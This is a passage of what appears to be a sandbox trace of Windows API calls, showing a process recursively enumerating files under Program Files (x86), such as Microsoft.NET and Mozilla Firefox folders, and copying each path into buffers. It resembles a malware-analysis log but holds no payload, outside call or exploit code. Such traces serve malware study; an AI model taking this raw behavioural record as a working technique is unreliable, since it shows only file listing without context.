lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.829] lstrcmpW (lpString1="Primary Interop Assemblies", lpString2=".") returned 1 [0029.829] lstrcmpW (lpString1="Primary Interop Assemblies", lpString2="..") returned 1 [0029.829] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\") returned 37 [0029.829] lstrlenW (lpString="Primary Interop Assemblies") returned 26 [0029.829] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\", lpString2="Primary Interop Assemblies" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" [0029.829] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\" [0029.829] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0029.829] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*" [0029.829] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.933] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.933] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.933] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.933] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.933] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.933] lstrcmpW (lpString1="adodb.dll", lpString2=".") returned 1 [0029.933] lstrcmpW (lpString1="adodb.dll", lpString2="..") returned 1 [0029.933] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0029.933] lstrlenW (lpString="adodb.dll") returned 9 [0029.933] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="adodb.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" [0029.933] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned 73 [0029.933] lstrcpyW (in: lpString1=0x4619e0, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" [0029.933] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.933] lstrcmpW (lpString1="Microsoft.mshtml.dll", lpString2=".") returned 1 [0029.933] lstrcmpW (lpString1="Microsoft.mshtml.dll", lpString2="..") returned 1 [0029.933] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0029.933] lstrlenW (lpString="Microsoft.mshtml.dll") returned 20 [0029.933] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="Microsoft.mshtml.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" [0029.933] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll") returned 84 [0029.933] lstrcpyW (in: lpString1=0x461a80, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" [0029.933] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.933] lstrcmpW (lpString1="Microsoft.stdformat.dll", lpString2=".") returned 1 [0029.933] lstrcmpW (lpString1="Microsoft.stdformat.dll", lpString2="..") returned 1 [0029.933] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0029.933] lstrlenW (lpString="Microsoft.stdformat.dll") returned 23 [0029.933] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="Microsoft.stdformat.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" [0029.933] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll") returned 87 [0029.933] lstrcpyW (in: lpString1=0x461b38, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" [0029.934] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.934] lstrcmpW (lpString1="msdatasrc.dll", lpString2=".") returned 1 [0029.934] lstrcmpW (lpString1="msdatasrc.dll", lpString2="..") returned 1 [0029.934] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0029.934] lstrlenW (lpString="msdatasrc.dll") returned 13 [0029.934] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="msdatasrc.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" [0029.934] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll") returned 77 [0029.934] lstrcpyW (in: lpString1=0x461bf0, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" [0029.934] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.934] lstrcmpW (lpString1="stdole.dll", lpString2=".") returned 1 [0029.934] lstrcmpW (lpString1="stdole.dll", lpString2="..") returned 1 [0029.934] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0029.934] lstrlenW (lpString="stdole.dll") returned 10 [0029.934] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="stdole.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" [0029.934] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll") returned 74 [0029.934] lstrcpyW (in: lpString1=0x461c98, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" [0029.934] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.934] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.934] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.934] lstrcmpW (lpString1="RedistList", lpString2=".") returned 1 [0029.934] lstrcmpW (lpString1="RedistList", lpString2="..") returned 1 [0029.934] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\") returned 37 [0029.934] lstrlenW (lpString="RedistList") returned 10 [0029.934] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\", lpString2="RedistList" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList" [0029.934] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\" [0029.934] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned 48 [0029.934] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*" [0029.934] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.948] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.948] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.948] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.948] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.948] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.948] lstrcmpW (lpString1="AssemblyList_4_client.xml", lpString2=".") returned 1 [0029.948] lstrcmpW (lpString1="AssemblyList_4_client.xml", lpString2="..") returned 1 [0029.948] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned 48 [0029.948] lstrlenW (lpString="AssemblyList_4_client.xml") returned 25 [0029.948] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\", lpString2="AssemblyList_4_client.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" [0029.948] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned 73 [0029.948] lstrcpyW (in: lpString1=0x461d38, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" [0029.948] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.948] lstrcmpW (lpString1="AssemblyList_4_extended.xml", lpString2=".") returned 1 [0029.948] lstrcmpW (lpString1="AssemblyList_4_extended.xml", lpString2="..") returned 1 [0029.948] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned 48 [0029.948] lstrlenW (lpString="AssemblyList_4_extended.xml") returned 27 [0029.948] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\", lpString2="AssemblyList_4_extended.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" [0029.948] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned 75 [0029.948] lstrcpyW (in: lpString1=0x461dd8, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" [0029.948] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.948] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.948] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.948] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.948] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.948] lstrcmpW (lpString1="Mozilla Firefox", lpString2=".") returned 1 [0029.948] lstrcmpW (lpString1="Mozilla Firefox", lpString2="..") returned 1 [0029.948] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0029.948] lstrlenW (lpString="Mozilla Firefox") returned 15 [0029.948] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Mozilla Firefox" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox") returned="c:\\Program Files (x86)\\Mozilla Firefox" [0029.948] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\" [0029.948] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.948] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\*" [0029.948] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.949] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.949] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.949] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.949] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.949] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.949] lstrcmpW (lpString1="AccessibleMarshal.dll", lpString2=".") returned 1 [0029.949] lstrcmpW (lpString1="AccessibleMarshal.dll", lpString2="..") returned 1 [0029.949] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.949] lstrlenW (lpString="AccessibleMarshal.dll") returned 21 [0029.949] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="AccessibleMarshal.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" [0029.949] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll") returned 60 [0029.949] lstrcpyW (in: lpString1=0x461e90, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" [0029.949] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.949] lstrcmpW (lpString1="application.ini", lpString2=".") returned 1 [0029.949] lstrcmpW (lpString1="application.ini", lpString2="..") returned 1 [0029.949] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.949] lstrlenW (lpString="application.ini") returned 15 [0029.949] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="application.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini" [0029.949] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini") returned 54 [0029.949] lstrcpyW (in: lpString1=0x4608d0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini" [0029.949] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.949] lstrcmpW (lpString1="breakpadinjector.dll", lpString2=".") returned 1 [0029.949] lstrcmpW (lpString1="breakpadinjector.dll", lpString2="..") returned 1 [0029.949] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.949] lstrlenW (lpString="breakpadinjector.dll") returned 20 [0029.949] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="breakpadinjector.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" [0029.949] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll") returned 59 [0029.949] lstrcpyW (in: lpString1=0x463e78, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" [0029.949] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.949] lstrcmpW (lpString1="browser", lpString2=".") returned 1 [0029.949] lstrcmpW (lpString1="browser", lpString2="..") returned 1 [0029.949] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.949] lstrlenW (lpString="browser") returned 7 [0029.949] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="browser" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser" [0029.949] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\" [0029.949] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0029.949] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\*" [0029.949] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.963] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.963] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.963] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.963] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.963] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.963] lstrcmpW (lpString1="blocklist.xml", lpString2=".") returned 1 [0029.963] lstrcmpW (lpString1="blocklist.xml", lpString2="..") returned 1 [0029.963] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0029.963] lstrlenW (lpString="blocklist.xml") returned 13 [0029.963] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="blocklist.xml" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" [0029.963] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned 60 [0029.963] lstrcpyW (in: lpString1=0x461f18, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" [0029.963] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.963] lstrcmpW (lpString1="chrome.manifest", lpString2=".") returned 1 [0029.963] lstrcmpW (lpString1="chrome.manifest", lpString2="..") returned 1 [0029.963] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0029.963] lstrlenW (lpString="chrome.manifest") returned 15 [0029.963] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="chrome.manifest" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" [0029.963] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned 62 [0029.964] lstrcpyW (in: lpString1=0x461fa0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" [0029.964] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.964] lstrcmpW (lpString1="components", lpString2=".") returned 1 [0029.964] lstrcmpW (lpString1="components", lpString2="..") returned 1 [0029.964] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0029.964] lstrlenW (lpString="components") returned 10 [0029.964] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="components" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\components") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\components" [0029.964] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.964] lstrcmpW (lpString1="crashreporter-override.ini", lpString2=".") returned 1 [0029.964] lstrcmpW (lpString1="crashreporter-override.ini", lpString2="..") returned 1 [0029.964] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0029.964] lstrlenW (lpString="crashreporter-override.ini") returned 26 [0029.964] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="crashreporter-override.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" [0029.964] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini") returned 73 [0029.964] lstrcpyW (in: lpString1=0x463ef8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" [0029.964] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.964] lstrcmpW (lpString1="extensions", lpString2=".") returned 1 [0029.964] lstrcmpW (lpString1="extensions", lpString2="..") returned 1 [0029.964] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0029.964] lstrlenW (lpString="extensions") returned 10 [0029.964] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="extensions" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions" [0029.964] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.964] lstrcmpW (lpString1="omni.ja", lpString2=".") returned 1 [0029.964] lstrcmpW (lpString1="omni.ja", lpString2="..") returned 1 [0029.964] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0029.964] lstrlenW (lpString="omni.ja") returned 7 [0029.964] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" [0029.964] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja") returned 54 [0029.964] lstrcpyW (in: lpString1=0x460948, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" [0029.964] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.964] lstrcmpW (lpString1="searchplugins", lpString2=".") returned 1 [0029.964] lstrcmpW (lpString1="searchplugins", lpString2="..") returned 1 [0029.964] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0029.964] lstrlenW (lpString="searchplugins") returned 13 [0029.964] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="searchplugins" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins" [0029.964] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.964] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.965] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.965] lstrcmpW (lpString1="crashreporter.exe", lpString2=".") returned 1 [0029.965] lstrcmpW (lpString1="crashreporter.exe", lpString2="..") returned 1 [0029.965] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.965] lstrlenW (lpString="crashreporter.exe") returned 17 [0029.965] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="crashreporter.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" [0029.965] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe") returned 56 [0029.965] lstrcpyW (in: lpString1=0x463f98, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" [0029.965] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.965] lstrcmpW (lpString1="crashreporter.ini", lpString2=".") returned 1 [0029.965] lstrcmpW (lpString1="crashreporter.ini", lpString2="..") returned 1 [0029.965] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.965] lstrlenW (lpString="crashreporter.ini") returned 17 [0029.965] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="crashreporter.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" [0029.965] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini") returned 56 [0029.965] lstrcpyW (in: lpString1=0x464018, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" | out: lpString1="c:\\Program Files 